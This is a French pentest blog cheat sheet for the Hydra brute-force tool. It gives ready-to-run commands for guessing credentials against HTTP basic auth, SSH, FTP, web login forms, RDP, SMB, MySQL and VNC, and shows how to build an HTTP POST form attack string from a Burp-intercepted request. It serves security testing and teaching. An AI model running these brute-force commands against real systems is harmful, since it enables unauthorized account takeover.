Hydra Cheat Sheet

Déc 22, 2023 | Pentest, Web

Aujourd’hui nous allons voir comment utiliser l’outil Hydra.

Hydra est un outil de test d’intrusion spécialisé dans les attaques par brute force. Conçu pour évaluer la sécurité des systèmes en testant la robustesse des mots de passe, Hydra peut automatiser le processus d’essai de différentes combinaisons d’identifiants et de mots de passe pour accéder à des services tels que FTP, SSH, HTTP, et bien d’autres.

Basic HTTP Authentification

basic http authentification

Utiliser une wordlist combinée pour l’utilisateur et le mot de passe :

hydra -C wordlist.txt TARGET_IP -s PORT http-get /

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -u -f TARGET_IP -s PORT http-get /

SSH

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -u -f ssh://TARGET_IP:PORT -t 4

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt -u -f ssh://TARGET_IP:PORT -t 4

FTP

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt ftp://TARGET_IP

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt ftp://TARGET_IP
Formulaire d’authentification POST

Pour les formulaires de connexion utilisant la méthode POST, nous devons d’abord déterminer 3 paramètres afin de configurer hydra.

1- URL du formulaire de connexion

2- Les paramètres POST de connexion

3- Un paramètre validateur qui va permettre à hydra de savoir si la connexion a réussi ou pas

 

Déterminer l’URL

Nous allons commencer par analyser l’URL de la page du formulaire de connexion.

Notre formulaire de connexion se trouve à cette URL :

url path

Nous récupérons donc « /login.php ».

 

Déterminer les paramètres de connexion POST

Ensuite on doit déterminer les paramètres de connexion que nous allons ensuite devoir inclure dans la commande hydra.

Pour se faire on va entrer des identifiants aléatoires et intercepter la requête avec Burp.

login post form

Nous récupérons les paramètres de connexion :

username=admin&password=admin

Nous allons à présent remplacer les champs « admin » avec ^USER^ et ^PASS^ afin d’indiquer à hydra les champs qu’il doit forçer :

username=^USER^&password=^PASS^

Nous pourrions également le faire en ouvrant l’inspecteur du navigateur pour nous rendre dans l’onglet « Network » et entrer des identifiants aléatoires dans le formulaire et envoyer la requête afin de voir les paramètres de connexion.

 

Déterminer un paramètre validateur

Pour finir nous devons indiquer un paramètre qui va permettre à hydra de savoir si la connexion a réussi ou pas.

Cela peut être un élément HTML de la page de connexion qui ne sera pas présent sur la nouvelle page lorsque l’on sera authentifié. Hydra va examiner le code HTML de la page de réponse qu’il obtient après chaque tentative, en recherchant la chaîne que nous avons fournie.

Nous pouvons effectuer deux types d’analyse différents :

FAIL : F=html_content

SUCCESS : S=html_content

Si nous donnons un élément FAIL, hydra poursuivra sa recherche jusqu’à ce que cette chaîne ne soit plus détectée dans la réponse.

Si nous spécifions un élément SUCCESS, hydra poursuivra sa recherche jusqu’à ce que cette dernière soit présente dans la réponse.

Nous pourrions par exemple indiquer la balise HTML contenant le message d’erreur que nous obtenons lorsque la connexion a échoué dans une chaine FAIL.

message erreur connexion

Nous pouvons récupérer :

<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error »

A présent nous avons nos trois éléments que nous allons compiler qui vont nous permettre de lancer notre attaque :

« /login.php:username=^USER^&password=^PASS^:F=<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error » »

La commande hydra pour forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -f TARGET_IP -s PORT http-post-form « /login.php:username=^USER^&password=^PASS^:F=<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error » »

La commande si l’on souhaite forcer uniquement le mot de passe :

hydra -l bob -P password.txt -f TARGET_IP -s PORT http-post-form « /login.php:username=^USER^&password=^PASS^:F=<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error » »
RDP

Forcer l’utilisateur et le mot de passe :

hydra -V -f -L user.txt -P password.txt rdp://TARGET_IP -V

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -V -f -l bob -P password.txt rdp://TARGET_IP -V
SMB

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -f smb://TARGET_IP -V

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt -f smb://TARGET_IP -V
MySQL

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -f mysql://TARGET_IP -V

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt -f mysql://TARGET_IP -V
VNC

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt –P password.txt -s PORT TARGET_IP vnc

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob –P password.txt -s PORT TARGET_IP vnc